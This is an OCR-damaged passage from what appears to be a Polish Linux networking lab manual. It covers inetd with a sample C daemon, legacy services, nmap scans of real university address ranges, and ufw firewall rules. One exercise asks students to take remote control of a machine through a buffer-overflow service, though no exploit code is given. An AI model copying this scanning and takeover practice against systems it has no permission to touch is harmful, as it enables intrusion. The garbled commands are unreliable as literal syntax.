Przykiad 14-1 Plik konfiguracyjny / et ¢/ i net d. conf

14.2.2 Dzialanie superserwerai net d

Na podstawie danych znalezionych w pliku konfiguracyjnym i net d tworzy odpowiednig ilos¢ nastuchujacych gniazd
- po jednym dla kazdej zdefiniowanej tam ustugi. Nastepnie wykonuje sel ect () nagniazdach czekajac na
potaczenia przychodzace. Kiedy wykryje, prébe potaczenia wywotuje funkcje accept () i tworzy nowy proces
(fork()) obstugujacy to nowe potaczenie. W kolejnych krokach przekierowujest di n / st dout do
utworzonego gniazda (funkcja dup2()) oraz uruchamia wiasciwego demona obstugujacego dana ustuge poprzez
wykonanie funkcji exec() . Demony realizujace dang ustuge maja posta¢ zwyktych programéw korzystajacych ze
standardowych strumieni 1/0. Funkcje zwigzane z obstuga sieci s3 przenoszone nai net d. Dzi¢ki temu nasz demon
moze kontaktowac¢ si¢ ze zdalnym klientem identycznie, jak z uzytkownikiem operujacym nalokalnej konsoli. Demon
moze pisa¢ nast dout (np.printf())iczytatzestdin (scanf(), read()). Mechanizm ten zapewnia
mozliwos¢ sieciowej komunikacji programom, ktore nie zawieragja ani jednegj linijki kodu sieciowego. Ponizej podano
przyktad takiego programu ktéry zapisuje przychodzace dane do pliku ktorego nazwa jest pierwszym argumentem.
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#i ncl ude <stdi o. h>
#i ncl ude <stdlib. h>

int main(int argc, char *argv[]){

const char *fn = argv[1];

FILE *fp = fopen(fn, "at+");

if(fp == NULL) exit(EXI T_FAI LURE);

char str[4096];

/linetd przesyta informacje do stdin programnu

whil e(fgets(str, sizeof(str), stdin)) {
fputs(str, fp);
fflush(fp);

}
fcl ose(fp);
return O;

}

Przyktad 14-2 Demon sieciowy r ej est r . ¢ zapisujacy przychodzace dane do pliku

W pliku/ et ¢/ ser vi ces powinien si¢ znalez¢ wpis definiujacy te ustuge ktérg mozemy nazwac rejestr i bedzie
zainstalowana na porcie UDP 9999.

rejestr 9999/ udp
W pliku/ et ¢/ i net d. conf nalezy doda¢ wpis:
rejestr dgramudp wait root /hone/juka/rejestr /tnp/logfile.txt

Wopisten informuje ze ustuga rejestr polega na uruchomieniu programu r €j est r ktory bedzie zapisywat dane w pliku
/trp/logfile.txt. Moznasprawdzi¢ czy nowa ustuga jest aktywna piszac polecenie | sof -

root @ali:/hone/jukal/prog/sieci# |sof -i
COVWAND PI D USER FD TYPE DEVI CE SlI ZE/ OFF NODE NAME
rsysl ogd 434 root 7u | Pv4 14835 0t0 UDP *:44351

i netd 443 r oot 8u |IPv4 14788 0t0 TCP *:.rejestr (LISTEN)

Przyktad 14-3 Sprawdzanie aktywnosci ustugi rejestr

143  Konfiguracja ustug sieciowych w Kali Linux

Pierwotnie w systemie Kali Linux s zainstalowane nieliczne ustugi sieciowe (tylko ssh). Dodatkowe ustugi musza
by¢ zainstalowane oddzielnie.

ftpd - Przesytanie plikow FTP
tftp - Trywialne przesytanie plikow
tel netd - Interpreter polecen telnet
sshd - Serwer ustug ssh

fingerd - Serwer ustugi finger

Moznato zrobi¢ tak jak podano ponizej:

#apt-get install tftpd

#apt-get install ftpd

#apt-get install telnetd

#apt-get install fingerd

#apt-get install openssh-server (gdy potrzeba)

Przyktadowy plik konfiguracyjny demonainetd w Kali Linux podano ponizej.

# letc/inetd.conf: see inetd(8) for further informations.
#

# I nternet superserver configuration database

#

# Lines starting with "#: LABEL:" or "#<of f>#" shoul d not
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# be changed unl ess you know what you are doing!

#

# If you want to disable an entry so it isn't touched during

# package updates just comment it out with a single '# character.

#

# Packages should nodify this file by using update-inetd(8)

#

# <servi ce_nanme> <sock_type> <proto> <fl ags> <user> <server_pat h> <args>

#

#: 1 NTERNAL: Internal services

#di scard streamtcp nowai t root i nternal

#di scard dgram udp wai t r oot i nternal

#dayti me streamtcp nowai t r oot i nternal

#tinme streamtcp nowai t r oot i nternal

#: STANDARD: These are standard services.

t el net streamtcp nowai t telnetd /usr/sbin/tcpd /usr/sbin/in.tel netd
ftp streamtcp nowai t r oot [usr/sbin/tcpd /usr/sbin/in. ftpd
finger streamtcp nowai t nobody [usr/sbin/tcpd /usr/sbin/in.fingerd
tftp dgram udp wai t nobody / usr/ sbhin/tcpd fusr/sbin/in. tftpd /srv/tftp

Przyktad 14-4 Plik konfuracyjny / et ¢/ i net d. conf

Pliki net d. conf raczel nie powinien by¢ edytowany recznie, nalezy wykorzysta¢ program updat e- i net d.

servi ce_name | nazwa ustugi, musi wystepowac w pliku/ et c/ ser vi ces
sock_type styl komunikacji: stream | ub dgram

proto protokét: udp lub tcp

user nazwa uzytkownika

server _path |éciezkado programu

args Argumenty programu

Polef | ags umozliwia wprowadzenie ograniczen. Format tego pola podano ponizej.
{wai t | nowai t}[/ max-chil d[/max-connecti ons-per-ip-per-ninute[/max-child-per-ip]]]

wai t | nowai t — czy mozna uruchomi¢ kolejng kopi¢ ustugi przed zakonczeniem poprzednie.
max-child - maksymalnaliczba procesow potomnych

nmax- connecti ons- per-i p-per-mnute - maksymahaliczba potgczen naadres |P na minute
max- chi | d- per-i p —maksymalnaliczba procesow potomych na adres |P

Przykiad:
i nger stream tcp nowait/3/10 nobody /usr/libexec/fingerd fingerd -k -s

Pozostaje jeszcze problem jak uruchomié superserwer i net d. W systemie Kali Linux czynnosé¢ t¢ wykonuje demon
syst end. Komunikujemy si¢ z nim za pomoca polecen syst enct| .

systenctl list-units Listowanie zainstal owanych jednostek
systenctt!| status jednostka Pobieranie statusu jednostki
systentt!| enabl e jednostka Aktywacja jednostki

systentt!| disabl e jednostka Deaktywacja jednostki

systentt!| restart jednostka Restart jednostki

Tabela 14-2 Podstawowe poleceniasyst entt |
Aby sprawdzi¢ jakie ustugi s3 aktywne mozemy postuzy¢ si¢ poleceniem:

systenttl list-units | grep enabled
lub
systenctt!l list-units --type=service --state=running
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root @ali:~# systenctl list-units --type=service --state=running

UNI T LOAD ACTI VE SUB DESCRI PTI ON

cron. service | oaded active runni ng Regul ar background program proces
i netd. service | oaded active running Internet superserver

Net wor kManager . servi ce | oaded active running Network Manager

pol ki t d. service | oaded active running Authenticate and Authorize Users
rsysl og. service | oaded active runni ng System Loggi ng Service

ssh. service | oaded active running OpenBSD Secure Shell server

syst end- | ogi nd. servi ce | oaded active running Login Service

Przyktad 14-5 Listowanie aktywnych ustug (iektorych)
Ponizej pokazano jak sprawdzi¢ czy demon inetd jest aktywny.

root @ali: ~/|ab/zasoby# systenttl status inetd
i netd.service - Internet superserver
Loaded: |oaded (/lib/systend/systeniinetd.service; enabled; vendor preset:
di sabl

Active: active (running) since Thu 2016-11-10 09:41: 35 EST; 1h 53m n ago
Docs: man:inetd(8)
Main PID: 20132 (inetd)
Tasks: 1 (limt: 4915)
CG oup: /systemslicelinetd. service
L20132 /usr/shin/inetd -i

Nov 10 09:41:35 kali systend[1l]: Started Internet superserver.

Przyktad 14-6 Testowanie statusu superserwerai net d

O tym czy startowane przez i net d ustugi s3 uruchomione mozemy przekonac si¢ przy pomocy polecenia: | sof —i
jak pokazano ponizej.

oot @ali:~# |sof -i

COVIVAND Pl D USER FD TYPE DEVI CE S| ZE/ OFF NODE NAME

rsyslogd 404 root 10u |1Pv4 13094 0t0 UDP *:59776

i netd 409 r oot 4u |1 Pv4 11983 0t0 TCP *:telnet (LISTEN)
i netd 409 r oot 5u IPv4 11985 0t0 TCP *:ftp (LISTEN)

i netd 409 root 6u | Pv4 11987 0t0 TCP *:finger (LISTEN)
i netd 409 root 7u | Pv4 11989 0t0 UDP *:tftp

i netd 409 root 8u I1Pv4 11991 0t0 TCP *:rejestr (LISTEN)
dhclient 582 root 6u | Pv4d 13746 0t0 UDP *: boot pc

sshd 3096 root 3u I Pv4 78975 0t0 TCP *:ssh (LI STEN)
sshd 3096 root 4u | Pve 78977 0t0 TCP *:ssh (LISTEN)

Przyktad 14-7 Testowanie stanu ustug sieciowych

Niektére ustugi moga by¢ tez startowane poza ustugg syst enct | . Nalezy do nich demon ustugi sshd. Mozna go
tez kontrolowa¢ zapomoca skryptu: /et c/init.d/ ssh start

root @ali:~# /etc/init.d/ssh start
[ ok ] Starting ssh (via systenttl): ssh.service.
root @ali:~# | sof -i
COVWAND PI D USER FD TYPE DEVI CE S| ZE/ OFF NODE NAME
sshd 4169 root 3u | Pv4 31343 0t0 TCP *:ssh (LISTEN)
sshd 4169 r oot 4u | Pv6 31345 0t0 TCP *:ssh (LISTEN)
root@ali:~# /etc/init.d/ ssh status
ssh. service - OpenBSD Secure Shell server
Loaded: | oaded (/1ib/systend/systeni ssh.service; disabled; vendor preset:
di sabl ed)
Active: active (running) since Thu 2016-11-17 07:50:50 EST; 8nmi n ago
Main PID: 4169 (sshd)
Tasks: 1 (limt: 4915)
CG oup: /systemslicel/ssh.service
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| L4169 /usr/sbin/sshd -D

Standardowo demon ssh startowany jest jako ustuga przez proces sy st end i moze by¢ kontrolowany przez program
systenctt| , alewystepujejako ustugassh. servi ce.

root @ali:~/# systenctl status ssh.service
ssh. service - OpenBSD Secure Shell server
Loaded: | oaded (/1ib/systend/systeni ssh.service; disabled; vendor preset: dis
Active: active (running) since Wed 2016-11-09 23: 13:28 EST; 24h ago
Main PID: 15052 (sshd)
Tasks: 1 (limt: 4915)
CG oup: /systemslicel/ssh.service
L-15052 /usr/shin/sshd -D

Przyktad 14-8 Testowanie stanu ustugi ssh. ser vi ce przy pomocy narzgdziasyst enct |

14.4 Zadania

14.4.1 Instalacjai konfiguracja ustug sieciowych

Zainstaluj i przetestuj nastepujace ustugi sieciowe: t el ned, ftpd, tftpd, fingerd, ssh.service.
Sprawdz widocznos¢ za pomoca programéw net st at il sof . Sprawdz dziatanie tych ustug za pomoca
odpowiednich programéw klienckicht el net, ftp, tftp, finger, ssh..

14.4.2 Ustanawianie ograniczen na polgczenia sieciowe

Dlawybrangj ustugi (np. telnet, ftp) ustaw w plikui net d. conf nastgpujace ograniczenia:
max-child
max-Cconnecti ons-per-ip-per-minute
max-child-per-ip

14.4.3 Utworzeni wlasng ustugi sieciowej
Wykorzystujac podany wczesnigj przyktad r ej est r. ¢ utwdrz i zainstaluj wiasng ustuge sieciows polegajaca na
zapisie danych do pliku.

14.4.4 Tworzenie sieciowe wergi exploita typu przepetnienie bufora
Wykorzystujac opracowany wczesnigj program buf shel | . ¢ zainstaluj go jako ustuge sieciows i przejmij zdalnie
kontrole nad komputerem wykorzystujac przepetnienie bufora.
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15. Eksploracja sieci

151  Rozpoznawanie nazw hostéw

Wazng funkcjonalnoscia warstwy sieciowe) jest mozliwosé rozpoznawania nazw hostéw. Polegato natym ze na
podstawie nazwy symbolicznej hosta podawany jest jego adres I P. Informacje o dziataniu systemu DNS otrzymywane
sg albo z plikéw konfiguracyjnych albo czescigj na skutek dziatania systemu DHCP. Uzyskiwanie adresu | P hosta
odbywa si¢ poprzez wystanie zapytania do serwera nazw (ang. nameserver). Jego adres powinien by¢ zawarty w pliku:
/etc/resolv. conf.

root @ali:~/lab/l og# cat /etc/resolv. conf
# Cenerated by Networ kManager
nameserver 192.168.0.1

Adres | P danego hosta moze by¢ uzyskany za pomoca poleceniahost .

root @ali:~/lab/log# host wp.p
wp. pl has address 212.77.98.9
wp. pl mail is handled by 0 nmx.wp. pl
wp.pl mail is handled by 5 nmx5.wp. pl

Przyktad 15-1 Uzyskanie adresu | P na podstawie nazwy hosta za pomoca poleceniahost
Podobne informacje uzyska¢ mozna za pomoca polecenians| ookup. Informacje te uzyskiwane sa z systemu DNS.

#nsl ookup nazwa_serwer a

root @ali:~/1ab/zasoby# nsl ookup staff.iiar.pw.woc.pl
Server: 192.168.0.1
Addr ess: 192. 168. 0. 1#53

Non- aut horitati ve answer:
Nane: staff.iiar.pw.woc.pl
Addr ess: 156.17.42. 67

Przyktad 15-2 Uzyskanie adresu | P na podstawie nazwy hosta za pomocga pol ecenia nslookup

152  Uzyskiwanie danych o domenach - polecenie whois

System WHOIS zostat zbudowany jako narzedzie przy pomocy ktérego administratorzy systeméw mogli znajdowacé
informacje umozliwiajace skontaktowanie si¢ z innymi administratorami odpowiedzialnymi za serwery dziatajace z
okreslonym numerem I P lub domena. Informacje ktére mozna uzyska¢ za pomocg tego systemu uzywane s tez w
innych technologiach jak uwierzytelnianie certyfikatéw czy zestawianie potgczen SSL. W odpowiedzi na zapytanie,
WHOISS system moze zwréci¢ zwrdci dane dotyczace:

nazwy Abonenta

adresu Abonenta

date rejestracgji

dat¢ wznowienia

kontakt techniczny

informacje o podmiocie rejestrujgcym

Zapytaniawhoi s moga dotyczy¢ zaréwno okreslonego serwerajak i domeny. Zapytanie zada¢ mozna za pomoca
poleceniawhoi s. Informacje o parametrach polecenia uzyskujemy przy pomocy polecenia:

#whoi s —h
Najprostszy sposob uzyciato:

#whoi s ip_serwera | ub nazwa_serwera
root @ali: ~/1ab/zasoby# whois 156.17.9.3

i net num 156.17.0.0 - 156.17. 255. 255
net name: WASK
country: PL
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role: WASK Operati ons

addr ess: Wocl aw Centre for Networking and Superconputi ng
addr ess: Pl ac G unwal dzki 9

address: 50-377 Wocl aw, Pol and

phone: +48713202080

phone: +48713202520

phone: +48713203985

f ax- no: +48713225797

Przyktad 15-3 Uzyskiwanie informacji o wiascielu domeny do ktorej nalezy serwer 156.17.9.3 za pomocg zapytania
whoi s

15.3 Program nmap

Program nmap (ang. network mapper) przeznaczony jest do eksploracji sieci i wspomaga wykonywanie audytéw
bezpieczenstwa. Jego opis znajduje si¢ w [25]. Program wysyta pakiety 1P do wykrywania jakie komputery sa
dostepne w sieci, jakie ustugi sa ha nich dostepne (podawana jest nazwa aplikcji), podaje jaki system operacyjny jest
zainstalowany. Wynikiem dziatania programu nimap jest lista sprawdzonych adresow z dodatkowymi informacjami.
Jedng z waznigjszych informagji jest “listainteresujacych portow” . Zawiera ona numery portdw wraz z protokotami,
nazwami ustugi i wykrytym stanem. Rozrézniane stany portéw to:

otwarty - istnigje aktywna aplikacja zwigzana z tym portem

filtrowany - system zabezpieczen nie dopuszcza do komunikacji z tym portem

zamkniety - nie maaplikacji zwigzanej z danym portem

niefiltrowany - port odpowiada na zapytanie ale program nie jest w stanie ustali¢ jaka aplikacja zwigzana jest z
tym portem.

Oprécz listy portow program podaje takze inne informacje dotyczace komputeréw obecnych pod badanymi adresami
IP. Nalezg do nich:

typ systemu operacyjnego
odwrotne nazwy DNS
adres MAC interfejsu sieciowego
Sktadnia polecenia jest nastepujaca:
nmap [ typ_skanowania] [ opcje] {okredenie celu}

Przyktad uruchomienia programu hmap podano ponizej. Opcja A ma na celu wykrycie systemu operacyjnego, opcja T4
zapewnia szybsze dziatanie a skanowanie ma dotyczy¢ komputera o nazwie 1ab103.
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root @ali:~# nmap -A -T4 192.168.1.12

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2019-11-27 08: 23 EST
Nmap scan report for ubool.honme (192.168.1.12)

Host is up (0.00041s | atency).

Not shown: 998 cl osed ports

PORT STATE SERVI CE VERSI ON

22/tcp open ssh penSSH 7. 4pl Debi an 10+deb9u6 (protocol 2.0)
| ssh-hostkey:

| 2048 de: e3: 35: 26: b7: 6f:52: 50: 80: bb: 90: dd: 99: 29: 2b: 08 ( RSA)

| _ 256 Of:04:08:ed: b0: 1f: 97: 37: el: 85: 23: b9: ed: 47: 36: 91 ( ECDSA)
80/tcp open http Apache httpd 2.4.25 ((Debian))

| _http-server-header: Apache/2.4.25 (Debian)

| _http-title: Apache2 Debian Default Page: It works

MAC Address: 00: 23:54:82: 3B: 01 (Asustek Computer)

Devi ce type: general purpose

Runni ng: Linux 3.X 4. X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4

Net wor k Di stance: 1 hop

Przyktad 15-1 Uzyskiwanie informacji o komputerze 192. 168. 1. 12 za pomoca programu nnap

Specyfikacja celu

W specyfikacji celu mozna podawa¢ nazwy komputeréw, adresy [P lub ich zakresy, adresy sieci.
Nazwy komputerow:
nmap host1l host2 host2

Adresy zakres od 156.17.20.20 do 156.17.20.40:
nmap 156.17.40. 20- 30

Do specyfikacji adresdw moznatez uzy¢ notacji CDIR [27]. W notacji tej po adresie | P natepuje ukosnik i liczba bitow
czesci sieciowe) adresu. Przy skanowaniu ta czgs¢ nie ulega zmianie (czes¢ sieciowaliczonajest od bardzig)
znaczacych bitdw adresu) tak wigc w poleceniunmap 156. 17. 40. 20/ 24 cze¢é¢ sieciowaliczy 24 bity i nie ulega
zmianie. Zmieni si¢ tylko 8 najmtodszych bitow z 32 bitowego adresu. Zatem zakres 156. 17. 40. 20/ 24 bedzie
identyczny z zapisem 156. 17. 40. 0- 255. Z badania mozna wykluczy¢ pewne adresy np hostl [,host2] [,host3]
postugujac sie opcja --exclude.

-- exclude hostl [, host2] [, host3],

Lista wytaczonych ze skanowania adresdw moze tez by¢ podanaw pliku (np. pl i k_wyl aczen) co sygnalizuje si¢
opcja:

--excludefile plik_wztaczen

Moznatez losowac zadang liczbe adresow |P co nastepuje po opgji:

-i R <ilo0s¢ host ow>

Specyfikacja portow

W poleceniach skanowania mozemy specyfikowaé porty. Specyfikacja jest postaci:

-p zakres_portéw

Zakres portow podaje si¢ wymienigjac je oddzielone przecinkiem, np: - p 20, 21, 22, 23 lub podajac zakres od-do -
np: - p 20- 23. Moznatakze poda¢ czy chodzi o protokét UDP czy TCP

dla UDP poprzedzamy port litera U - np: - p U: 20, 23

dla TCP poprzedzamy port litera T - np: - p T: 20, 23
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$nmap -PS -p 20-23,80 156. 17. 40. 20-40

Nmap scan report for dyn-40-26.ict.pw.woc.pl (156.17.40.26)
Host is up (0.00033s | atency).

PORT  STATE SERVICE

20/tcp closed ftp-data

21/tcp open ftp

22/tcp cl osed ssh

23/tcp open t el net

80/tcp closed http

Przyktad 15-2 Specyfikacja portow z zakresu 20 do 23 oraz portu 80
Wykrywanie komputeréw

Skanowanie wszystkich portéw z wybranego zakresu adresow | P jest czasochtonne i zazwyczaj niepotrzebne. Zakres
skanowania portéw zalezy od celu badania. Program nmap umozliwia rézne metody wykrywania aktywnych
komputeréw.

-sP - skanowani e ping

j uka@ ab103: ~$ nmap -sP 156.17.41. 0-255

Starting Nmap 5.21 ( http://nmap.org ) at 2014-11-20 12: 13 CET
Nmap scan report for hip.ict.pw.woc.pl (156.17.41.1)

Host is up (0.00062s |atency).

Nmap scan report for 156.17.41.4

Host is up (0.00096s | atency).

Nmap scan report for ClusterStorage.ict.pw.woc.pl (156.17.41.253)
Host is up (0.00095s | atency).
Nmap done: 256 | P addresses (27 hosts up) scanned in 2.11 seconds

Przyktad 15-3 Wykrywanie aktywnych komputerow z zakresu 156. 17. 41. 0- 255 z uzyciem opcji -sP
(skanowanie ping)

Wykrywanie otwartych portéw
Otwarty port to taki port z ktérym mozna hawigza¢ potaczenie. Jedng z mozliwosci jest wystanie na dany port znaku
SYN.

j uka@ ab103: ~$ nmap -PS 156. 17. 40. 20- 40

Starting Nmap 5.21 ( http://nmap.org ) at 2014-11-24 15:11 CET
Nmap scan report for dyn-40-26.ict.pw.woc.pl (156.17.40.26)
Host is up (0.00022s |atency).

Not shown: 996 cl osed ports

PORT STATE SERVI CE

9/tcp open discard

21/ tcp open ftp

23/tcp open telnet

Nmap done: 21 | P addresses (7 hosts up) scanned in 38.17 seconds

Przyktad 15-4 Wykrywanie otwartych portow w komputerach z zekresu 156. 17. 40. 20- 40
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Przyktady
Skanowanie portéw wybranego komputera:
nmap -v adres_ip

j uka@ ab103: ~$ nmap -v 156.17. x. x

Starting Nmap 5.21 ( http://nmap.org ) at 2014-11-27 11:48 CET
Scanning x.ict.pw.woc.pl (156.17.x.x) [1000 ports]

Di scovered open port 111/tcp on 156.17.x. x

Conpl et ed Connect Scan at 11:48, 27.12s el apsed (1000 total ports)
Nmap scan report for x.ict.pw.woc.pl (156.17.x.X)

Host is up (0.00031s | atency).

Not shown: 975 cl osed ports

PORT STATE SERVI CE

21/ tcp open ftp

22/ tcp open ssh

23/tcp open tel net

25/tcp open sntp

79/ tcp open finger

80/tcp open http

111/ tcp open rpchind

443/t cp open https

513/tcp open login

514/tcp open shel

2049/tcp open nfs

4045/tcp open | ockd

7100/tcp open font-service

Nmap done: 1 IP address (1 host up) scanned in 27.23 seconds

Przyktad 15-5 Przyktad skanowanie portow wybranego komputera

Znajdowanie serweréw WWW w segmencie Sieci

nmap -PO -p 80 156.17.40.1-16

80/tcp filtered http

Nmap scan report for plonk.ict.pw.woc.pl (156.17.40.85)
Host is up.

PORT  STATE SERVI CE

80/tcp filtered http

Nﬁép done: 128 | P addresses (128 hosts up) scanned in 0.73 seconds
j uka@ab103: ~$ nmap -PO -p 80 156.17.40.1-128

Przyktad 15-6 Szukanie serweréw WWW w zakresie 156. 17. 40. 1- 16

154  Zenmap - interfejsgraficzny do programu nmap

Istnigje wiele interfejsbw graficznych (ang. frontend) do programu nmap utatwiajacych wprowadzanie parametrow i
interpretacje wynikéw. Jednym z polecanych jest program zenmap (htt ps: // nnap. or g/ zennmap). Moznago
zainstalowa¢ poleceniem:

sudo apt-get install zenmap
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r -

Zenmap e e O
Scan Tools Profile Help

Target: |1|_56.l?.9.3 | v | Profile: | Quick scan | v | Scant "'_;ﬂ'u:u.-lf

Command: |nmap -T4 -F 156.17.9.3 |

[ Hosts H Services ‘ Nmap Output | Ports / Hosts | Topology | Host Details = Scans

55 [Hoot | nmap -T4 -F 156.17.9.3 v| = [Details|
PORT STATE SERVICE
w _192158i12 9/tcp filtered discard
W kali (192.168.C 21/tcp open ftp
i 22/tcp open ssh
23/tcp filtered telnet
25/tcp filtered smtp
53/tcp filtered domain

79/tcp open finger
80/tcp open http
111/tcp open rpchind
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
443/tcp  open https
445/tcp filtered microsoft-ds
513/tcp open login
514/tcp open shell
2000/tcp open cisco-sccp
2049/tcp open nfs
5060/tcp open sip
49156/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in
< » | 2.74 seconds

‘ Filter Hosts : ¥

Ekran 15-1 Przyktad dziatania programu zenmap

155 Zadania

15.5.1 Eksploracja komputera
Wykorzystujac uruchomiony na maszynie wirtualngl program nmap i zennmap zbadaj stan komputera macierzystego.

15.5.2 Eksploracja otoczenia sieciowego

Skorzystaj z dokumentacji podanej w [25]. Za pomoca programu nireip zbadaj otoczenie swego komputera - adresy
podsieci 1-255 i domene politechniki wroctawskigj. Przeskanuj porty wybranych komputeréw i okresl zainstalowane
tam ustugi.

15.5.3 Napisz program skanujacy porty w zadanym zakresie portéw i adresoéw | P
Program powinien mie¢ mozliwos¢ podania zakresu adresow |P i zakresu portéw do skanowania.
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16. Zapory sieciowe i zabezpieczenie sieci

16.1  Informacjewstepne
Wyrézniamy nastepujace typy atakOw sieciowych:

Préba uzyskania petnego dostepu do systemu. Wykorzystuje si¢ btedy w istnigjacym oprogramowaniu W
szczegblnosci programy z ustawionum bitem suid) powodujac awarie¢ takiego programu np. typu przepetnienie
bufora.

Ataki DoS (ang. Denial od Service), odmowa $wiadczenia ustug. Atak DoS oznacza zwykle zalewanie sieci
(ang. flooding) nadmiarows iloscig danych majacych na celu wysycenie dostepnego pasma, ktorym dysponuje
atakowany serwer. Niemozliwe staje si¢ wtedy skorzystanie z jego ustug, mimo ze ustugi pracujace nanim sa
gotowe do przyjmowania potaczen.

Ziosliwe programy. Zainstalowane wirusy wykonujg czynnosci ktorych uzytkownik sobie nie zyczy.

Ogodlne zasady zabezpieczenia sieci (wedtug Brian Ward, Jak dziata Linux).

Uruchamia¢ minimalna liczbe koniecznych ustug. Nie da si¢ wlamaé do ustugi ktorej nie ma.

Blokowa¢ za pomoca zapory sieciowsj jak najwicksza liczbe pakietow. Ogdlnie nie jest to tatwe bo jest wiele
ustug o ktérych zwykle nie wiemy.

Upewnia¢ Sie ze stosujemy najnowszg wersje oprogramowania.

Uzywac dla serweréw dystrybucji z dtugoterminowym wsparciem.

Nie udostepnia¢ konta temu kto tego nie potrzebuje.

Unikaé instalacji niepewnych pakietow binarnych

Zaporasieciowa (ang. firewall) jest jedna z metod zabezpieczenia sieci komputerowej lub komputera przed intruzami.
Gléwna funkcja zapory polega na:

Filtracji pakietow to jest przepuszczania tylko takich pakietow ktore sa zgodne z ustalonymi regutami.

Trandacji adresdw sieciowych (ang. network address trandation, NAT)

Rejestracji zdarzen zachodzacych w sieci
W systemie Linux filtracja pakietow zachodzi na poziomie jadra. Realizowana jest przez pakiet Netfilter. Natomiast
konfiguracja sposobu filtracji dokonywana jest przez oprogramowanie uruchamiane z przestrzeni uzytkownika.
Oprogramowanie to moze pracowat w trybie tekstowym jak i graficznym. Najpopularniejsze oprogramowanie petnigce
te funkcje to:

i ptabl es

uf w — (ang. uncomplicated fire wall)

Istnigja tez graficzne konfiguratory zapory sieciowej. Wymieni¢ tu mozna:

gufw - (‘ang. graphical uncomplicated fire wall). Opisw http://qufw.org/
firestarter — Opisw http:/firestarter.sourceforge.net/manual

16.2  Program ufw

16.3 Zasada dzialania

Program uf w (ang. uncomplicated fire wall) jest interfejsem do Netfilter - mechanizmu filtracji pakietow realizowanej
przez jadro systemu. Filtracja pakietéw odbywa si¢ na podstawie ktére zawierajg reguty powigzane w tancuchy.
Pokiety z wejscia (ktére jest interfgjsem en0, enl, itd...) trafia do pierwsze) reguly. Gdy reguta jest spetniona pakiet
albo trafia nawyjscie (ktore takze jest interfejsem) — opcja alow lub nie jest przekazywany dalej — opcja deny. Gdy
pakiet nie pasuje do biezacej reguty jest przekazywany do nastepnej. Gdy pakiet nie pasuje do zadnej z regut trafia do
ostatniego etapu —domysngj akcji tancucha ktéra zwykle nakazuje odrzucenie pakietow przychodzacych i
dopuszczenie wychodzacych. Domysng akcje tancucha mozna zmieni¢. Dziatanie fancucha regut ilustruje ponizszy
rysunek.
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wejscie

E—— regula 1

r—zgodnos$¢é-»

|
nie

v

regula 2

—zgodnos¢

nie

regula N

—zgodnos$¢

nie

Rys. 16-1 Lancuch regut

domyslna akcja
dla lancucha

16.3.1 Instalacjai konfiguracja
Program uf winstaluje sie go poleceniem:

apt-get install ufw

wyjscie
allow >
deny
allow >
deny
allow ——— P
deny

|

Informacje natemat jej dziatania mozna uzyska¢ z polecenie uf w —- hel p lub z manuala.

# ufw --help

Usage: ufw COVIVAND
Commands:

enabl e

di sabl e

default ARG

| oggi ng LEVEL
al | ow ARGS

deny ARGS

rej ect ARGS

limt ARGS

del et e RULE| NUM
insert NUM RULE
route RULE

route del ete RULE| NUM
route insert NUM RULE
rel oad

reset

st at us

st at us nunber ed
status verbose
show ARG

ver si on

Application profile commands:

app |ist

app i nfo PROFILE
app update PROFILE
app default ARG

enabl es the firewall
di sabl es the firewal
set default policy
set logging to LEVEL
add allow rul e
add deny rule
add reject rule
add limt rule
del ete RULE
insert RULE at
add route RULE
del ete route RULE

insert route RULE at NUM

reload firewal

reset firewal

show firewal |l status

show firewal | status as nunbered |ist of RULES
show verbose firewall status

show firewal | report

di splay version information

NUM

list application profiles

show i nformati on on PROFI LE
updat e PROFI LE

set default application policy

Listing 16-1 Polecenia programu ufw
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Konfiguracja
Plik konfiguracyjny programuto/ et c/ def aul t / uf w. Mozna obejrze¢ go poleceniem:

#l ess /etc/defaul t/ufw
Oile nie chcemy zarzadza¢ interfejsem vergi 6 to w pliku ustawiamy opcje
| PV6=no

Ustawienie domyslnego traktowania pakietéw

Przy wstepnegj konfiguracji zapory ustanawia si¢ domysine traktowanie pakietow. Zwykle zaktada si¢ ze pakiety
przychodzace bgda odrzucane, a wychodzace wypuszczane.

uf w default deny incomni ng
ufw default all ow out goi ng

Dozwolenie potaczenia ssh
O ile konfigurujemy zapore zdalnie to by¢ moze robimy to przez interfejs ssh. Nie mozemy go zatem zablokowac. Stad
przed uruchomieniem zapory nalezy ssh dozwoli¢. Robimy to przez polecenie:

ufw al | ow ssh
Moznato réwniez zrobi¢ dozwalajac potaczen na okreslonym porcie, w tym przypadku 22.
ufw al | ow 22

Uruchomienie zapory
Interfejs uruchamia sie poleceniem:

uf w enabl e

Uzyskiwanie statusu zapory

Status zapory mozemy sprawdzi¢ poleceniem st at us ver bose.

# ufw status verbose

Status: active

Loggi ng: on (I ow)

Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To Acti on From

22 ALLOWIN Anywher e

Przyktad 16-1 Uzyskiwanie statusu zapory

Reset zapory
Reset zapory powoduje jg zatrzymanie i skasowanie istniejagcych regut. Przeprowadza sie go poleceniem:

uf w reset

16.3.2 Reguly filtracji pakietow

Dozwalaniei blokowanie portow
Porty moga by¢ dozwalane i blokowane za pomoca polecenia

ufw al | ow <port >/ <optional : protocol >

uf w deny <port >/ <optional: protocol >

Gdy nie wyspecyfikowano kierunku (opcjei n, out ) polecenie dotyczy pakietéw przychodzacych. Na przyktad:
Dozwal anie przychodzacych pakietow tcp i udp na port 53:

ufw al | ow 53

Dozwal anie przychodzacych pakietow tcp na port 53:

ufw al l ow 53/tcp
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Dozwal anie przychodzacych pakietéw udp na port 53:
ufw al | ow 53/ udp

Moznatez specyfikowat zakres portéw za pomocg notacji port _poczat kowy: port _koncowy. Naprzyktad
polecenie

ufw al | ow 6000: 6007/tcp
dozwala na przyjmowanie pakietéw z portéw od 6000 do 6007

Dozwalaniei blokowanie ustug
Nazwy ustug mozna uzyska¢ z pliku/ et ¢/ ser vi ces. Ustugi te mozna blokowac |ub dozwalac.

ufw al | ow <servi ce name>
uf w deny <service name>

Na przyktad dozwalanie ustu sshii ftp:

ufw al | ow ssh
ufw allow ftp
uf w deny ssh

Blokowanie pakietéw przychodzacych z okreslonego adresu IP:

ufw deny from <ip address>
ufw deny from 207. 46. 232. 182

Blokowanie pakietéw przychodzacych z okreslonego adresu IP i portu

ufw deny from <ip address> to <protocol > port <port nunber>
